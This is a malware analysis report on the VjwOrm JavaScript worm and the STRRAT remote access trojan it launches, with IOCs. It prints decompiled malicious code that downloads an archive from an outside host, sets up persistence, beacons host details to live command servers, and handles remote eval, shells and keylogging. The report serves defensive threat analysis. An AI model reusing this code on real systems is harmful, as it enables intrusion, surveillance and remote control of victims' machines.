

# How to Analyze JavaScript Malware – A Case Study of VjwOrm

**Prepared by:** Vlad Pasca, Senior Malware &  
Threat Analyst



[SecurityScorecard.com](https://www.securityscorecard.com)  
[info@securityscorecard.com](mailto:info@securityscorecard.com)

Tower 49  
12 E 49<sup>th</sup> Street  
Suite 15-001  
New York, NY 10017  
[1.800.682.1707](tel:18006821707)

## Table of contents

Executive summary	2
Analysis and findings	2
Commands	9
Indicators of Compromise	13







registry keys:

```
try {
    text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\CurrentVersion");
    text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");
} catch (err) {}
try {
    if (text == "") {
        text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\CurrentVersion");
        text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");
        if (text != "") {
            text = text + "\\bin\\javaw.exe";
        }
    } else {
        text = text + "\\bin\\javaw.exe";
    }
} catch (err) {}
```

Figure 9

Whether Java is found on the computer, the malicious JAR file is executed; otherwise, the “GrabJreFromNet” function is called:

```
try {
    if (text != "") {
        //wshShell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr", "\"" + text + "\" -jar \"" + stubpath + "\"", "REG_SZ");
        wshShell.run("\"" + text + "\" -jar \"" + stubpath + "\"");
    } else {
        GrabJreFromNet();
    }
} catch (err) {}
```

Figure 10

The function mentioned above downloads an archive called “jre.zip” from “https://aash[.]com.pk/jre.zip”. The archive content is extracted and saved in a folder called “jre7” in the “%AppData%” directory. A registry Run entry called “ntfsmgr” is used as a persistence mechanism to run the malicious JAR:

```
function GrabJreFromNet() {
    do {
        try {
            var xHttp = WScript.CreateObject("msxml2.serverxmlhttp.6.0");
            var bStrm = WScript.CreateObject("Adodb.Stream");
            xHttp.open("GET", "https://aash.com.pk/jre.zip", false);
            xHttp.setRequestHeader("User-Agent", "Mozilla/5.0");
            xHttp.send();
            bStrm.Type = 1;
            bStrm.open();
            bStrm.write(xHttp.responseBody);
            bStrm.savetofile(appdatadir + "\\jre.zip", 2);
        } catch (err) {
            WScript.Sleep(5000);
        }
    } while (true);
    UnZip(appdatadir + "\\jre.zip", appdatadir + "\\jre7");
    //wshShell.RegWrite("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\CurrentVersion", "1.8", "REG_SZ");
    //wshShell.RegWrite("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\1.8\\JavaHome", appdatadir + "\\jre7", "REG_SZ");
    wshShell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr", "\"" + appdatadir + "\\jre7\\bin\\javaw.exe\" -jar \"" + stubpath + "\"", "REG_SZ");
    wshShell.run("\"" + appdatadir + "\\jre7\\bin\\javaw.exe\" -jar \"" + stubpath + "\"");
}
```

Figure 11

The implementation of the “UnZip” function is shown in figure 12:



```

try {
    U = sh.RegRead(g[2]);
} catch (err) {
    var sv = fu.split("\\");
    if (":\\" + sv[1] == ":\\" + wn) {
        U = "TRUE";
        sh.RegWrite(g[2], U, g[5]);
    } else {
        U = "FALSE";
        sh.RegWrite(g[2], U, g[5]);
    }
}
}

```

Figure 16

The malicious script is copied to the Startup folder using the CopyFile function, as shown below:

```

function Ns() {
    try {
        var ap = Cr(2);
        fs.CopyFile(fu, ap.Namespace(7).Self.Path + "\\\" + wn, true);
    } catch (err) {}
}

```

Figure 17

The malware performs a POST request to the C2 server "http[:]//javaautorun.duia[.]ro:5465/Vre" with a custom User-Agent:

```

do {
    try {
        var P = Pt('Vre', '');
        P = P.split(spl);
    }
    function Pt(C, A) {
        var X = Cr(3);
        X.open('POST', 'http://javaautorun.duia.ro:5465/' + C, false);
        X.setRequestHeader("User-Agent:", nf());
        X.send(A);
        return X.responsetext;
    }
}

```

Figure 18

The user-agent contains the following information: computer name, username, serial number of all logical disks, operating system version, and antivirus software name (see figure 19).

```

function nf() {
    var s,
        NT,
        i;
    if (fs.fileExists(Ex("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")) {
        NT = "YES";
    } else {
        NT = "NO";
    }
    s = VN + Ch + Ex("COMPUTERNAME") + Ch + Ex("USERNAME") + Ch + Ob(1) + Ch + Ob(4) + Ch + Ch + NT + Ch + U + Ch;
    return s;
}
function Ob(N) {
    var s;
    if (N == 2) {
        s = GetObject(y[0]).InstancesOf(y[1]);
        var en = new Enumerator(s);
        for (; !en.atEnd(); en.moveNext()) {
            var it = en.item();
            return it.Caption;
            break;
        }
    }
    if (N == 4) {
        var wmg = "winmgmts://localhost/root/securitycenter";
        s = GetObject(wmg).InstancesOf(y[1]);
        var en = new Enumerator(s);
        for (; !en.atEnd(); en.moveNext()) {
            var it = en.item();
            var str = it.DisplayName;
        }
        if (str != '') {
            wmg = wmg + str;
            s = GetObject(wmg).InstancesOf(y[1]);
            en = new Enumerator(s);
            for (; !en.atEnd(); en.moveNext()) {
                var it = en.item();
                return it.DisplayName;
            }
        } else {
            return it.DisplayName;
        }
    }
    if (N == 6) {
        s = GetObject(y[0]).InstancesOf(y[1]);
        var en = new Enumerator(s);
        for (; !en.atEnd(); en.moveNext()) {
            var it = en.item();
            return it.volumeserialnumber;
            break;
        }
    }
}

```

Figure 19

The worm implements the following commands:

```

if (P[0] == "CL") {
    WScript.Quit(1);
}
if (P[0] == "Sc") {
    var s2 = Ex("comp") + "\\\" + P[2];
    var fi = fs.CreateTextFile(s2, true);
    fi.Write(P[1]);
    fi.Close();
    sh.run(s2);
}
if (P[0] == "Ex") {
    eval(P[1]);
}
if (P[0] == "Rn") {
    var ri = fs.OpenTextFile(fu, 1);
    var fr = ri.ReadAll();
    ri.Close();
    VN = VN.split("_");
    fr = fr.replace(VN[0], P[1]);
    var wi = fs.OpenTextFile(fu, 2, false);
    wi.Write(fr);
    wi.Close();
    sh.run("wscript.exe //B \"\" + fu + \"\"");
    WScript.Quit(1);
}
if (P[0] == "Op") {
    var s2 = Ex("comp") + "\\\" + P[2];
    var ctf = fs.CreateTextFile(s2, true);
    var gu = P[1];
    gu = gu.replace("[U]", "[V]");
    ctf.Write(gu);
    ctf.Close();
    sh.run("wscript.exe //B \"\" + s2 + \"\"");
    WScript.Quit(1);
}
if (P[0] == "Un") {
    var s2 = P[1];
    var vdr = fu;
    var reg1 = "Nothing!";
    s2 = s2.replace("%", fu).replace("%n", vn).replace("%fdr", vdr).replace("%RgNet", reg1);
    eval(s2);
    WScript.Quit(1);
}
if (P[0] == "RF") {
    var s2 = Ex("comp") + "\\\" + P[2];
    var fi = fs.CreateTextFile(s2, true);
    fi.Write(P[1]);
    fi.Close();
    sh.run(s2);
}

```

Figure 20

## Commands

### **Cl command**

The command is used to terminate the script execution.

### **Sc command**

The process creates a temporary file, populates it with code sent by the C2 server, and executes it using the run function.

### **Ex command**

The command is used to execute JavaScript code transmitted by the C2 server.

### **Rn command**

The malware modifies the current script and executes the new file using wscript.exe.

### **Up command**

The malicious process creates a temporary file that is filled in with code and executed via Wscript.

### **Un command**

The command runs additional JavaScript code that might be used to uninstall the worm.

### **RF command**

Same execution flow as the Sc command.

We used [Recaf](#) to analyze the malicious JAR file. As shown in figure 21, the initial code appears to be obfuscated.



```

1 // Decompiled with: FernFlower
2 // Class Version: 5
3 package carlambo;
4
5 import java.awt.Component;
6 import java.io.File;
7 import javax.swing.JOptionPane;
8
9 public class FirstRun extends ndgdfhf {
10     // $FF: synthetic method
11     private static void sdfsldf(gsbthstgb var0, String[] var1) {
12         String var2 = (new StringBuilder()).insert(0, dhgfh.sdfsldf).append("lib").append(sfrgrsbd).toString();
13         gsbthstgb var3 = new gsbthstgb(var2);
14         File var7;
15         if (!(var7 = new File(var2)).exists()) {
16             var7.mkdir();
17         }
18
19         var0.sdfsldf(var3);
20         String var4 = (new StringBuilder()).insert(0, dhgfh.sdfsldf).append(new File(bsgshsbs).getName()).toString();
21         ssdgsbh.sdfsldf(new File(bsgshsbs), new File(var4));
22         sdfsldf.sdfsldf();
23         boolean var10001;
24         String[] var10002;
25         if (((Object[])var1)[5].equals("true")) {
26             var10001 = true;
27             var10002 = var1;
28         } else {
29             var10001 = false;
30             var10002 = var1;
31         }
32
33         ssdgsbh.sdfsldf(var4, var10001, var10002[6].equals("true"));
34         if (((Object[])var1)[7].equals("true")) {
35             var1 = (new StringBuilder()).insert(0, "schtasks /create /sc minute /mo 30 /tn Skype /tr \"").append(var4).append("").toString();
36             Runtime.getRuntime().exec(new StringBuilder()).insert(0, "cmd /c ").append(var1).toString();
37         }
38
39         dfhttgdf(mfghnb.sfrgrsbd(var4));
40         var1 = "0";
41         System.exit(Integer.parseInt("0"));
42     }
43
44     public static void main(String[] var0) {
45         System.out.println("#####\n#
46         System.setProperty("https.protocols", "TLSv1,TLSv1.1,TLSv1.2");
47         String var10000 = "user.home";
48         boolean var4;
49         String[] var10001;
50         if (var0 != null) {
51             var4 = true;
52             var10001 = var0;
53         } else {
54             var4 = false;
55             var10001 = var0;
56         }

```

Figure 23

We have decrypted the STRRAT configuration using this [script](#):

```

Analysing File: STRRAT.jar
C2: nneewwllloggzz.mefound.com
Primary Lock/Port: 1788
Plugins Download URL: http://jbfrost.live/strigoj/server/?hwid=1&lid=m&ht=5
Secondary/Fallback C2: windowsupdatelogz.onedumb.com
Secondary Lock/Fallback Port: 1780
Startup Folder Persistence: true
Secondary Startup Folder Persistence: true
Skype Scheduled Task Persistence: true
License ID: khonsari

```

Figure 24

We can highlight two C2 servers `nneewwllloggzz.mefound[.]com` and `windowsupdatelogz.onedumb[.]com`, and the `http[://]jbfrost[.]live` URL that hosts the STRRAT plugins.

STRRAT provides functionalities such as keylogging, uninstalling the application, updating the malware, downloading and executing files using `cmd` or Powershell, and so on:

```

String[] var2;
if ((var2 = sabretb(mdgghtdsh()).split("\\\\")[0].equals("reboot")) {
    Runtime.getRuntime().exec("cmd.exe /c shutdown /r /t 0");
} else if (var2[0].equals("shutdown")) {
    Runtime.getRuntime().exec("cmd.exe /c shutdown /s /t 0");
} else if (var2[0].equals("uninstall")) {
    sdfsldf(var0.sabretb);
} else if (var2[0].equals("disconnect")) {
    sfsrgsbd = false;
    sbsbgsrg.close();
    System.exit(0);
} else if (var2[0].equals("down-n-exec")) {
    sabretb(var2[1], var2[1].substring(var2[1].lastIndexOf("/") + 1));
    Thread.sleep(3000L);
    sdfsldf("Ready");
} else if (var2[0].equals("update")) {
    var3 = fgbsfsgsb(var2[1]);
    var0.sdfsldf.sdfsldf();
    Runtime.getRuntime().exec(new StringBuilder().insert(0, var1).append("\\").append(var3.getAbsolutePath()).append("\\").toString());
    sdfsldf(var0.sabretb);
} else if (var2[0].equals("up-n-exec")) {
    String var4;
    if (!(var4 = (var3 = fgbsfsgsb(var2[1])).getName().substring(var3.getName().lastIndexOf(".")).toLowerCase()).equals(".vbs") && !var4.equals(".js") && !var4.equals(".wsf")) {
        if (var4.equals(".jar")) {
            Runtime.getRuntime().exec(new StringBuilder().insert(0, var1).append("\\").append(var3.getAbsolutePath()).append("\\").toString());
        } else {
            Runtime.getRuntime().exec(new StringBuilder().insert(0, "cmd.exe /c \").append(var3.getAbsolutePath()).append("\\").toString());
        }
    }
    Runtime.getRuntime().exec(new String[]{"wscript", var3.getAbsolutePath()});
}
sdfsldf("Executed File");
Thread.sleep(3000L);
sdfsldf("Ready");
} else if (var2[0].equals("remote-cmd")) {
    Socket var10 = fgssdg(new StringBuilder().insert(0, "remote-cmd").append(sfsrgsbd).append("|").append(sbsgssdfg()).toString());
    new dgdfndnbcn(var10, new String[]{"cmd.exe"});
    sdfsldf("Ready");
} else if (var2[0].equals("power-shell")) {
    Socket var11 = fgssdg(new StringBuilder().insert(0, "power-shell").append(sfsrgsbd).append("|").append(sbsgssdfg()).toString());
    new dgdfndnbcn(var11, new String[]{"powershell.exe", "-"});
    sdfsldf("Ready");
} else if (var2[0].equals("file-manager")) {
    Socket var12 = fgssdg(new StringBuilder().insert(0, "file-manager").append(carLambo.sabretb.sdfsldf()).toString());
    new sabretb(var12);
    sdfsldf("Ready");
} else if (var2[0].equals("keylogger")) {
    if (!ghmgf.sabretb) {
        Socket var13 = fgssdg(new StringBuilder().insert(0, "keylogger").append(sfsrgsbd).append("|").append(sbsgssdfg()).toString());
        new ghmgf(var13, (String)null);
    } else {
        ghmgf.sabretb = false;
        sdfsldf("Try Again");
    }
}
}

```

Figure 25

## Indicators of Compromise

### SHA256

2b0c9059feece8475c71fbbde6cf4963132c274cf7ddebafbf2b0a59523c532e

0de7b7c82d71f980e5261c40188bafc6d95c484a2bf7007828e93f16d9ae1d9a

### Files created

%AppData%\KeunXSGcHu.js

%AppData%\<random name>.txt

%AppData%\jre.zip

%AppData%\jre7

### Registry keys

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ntfsmgr

HKCU\vjw0rm

### C2 servers/URLs

https[:]//aash[.]com.pk/jre.zip

http[:]//javaautorun.duia[.]ro:5465

http[:]//jbfrost[.]live

nneewwlllooggzz.mefound[.]com

windowsupdatelogz.onedumb[.]com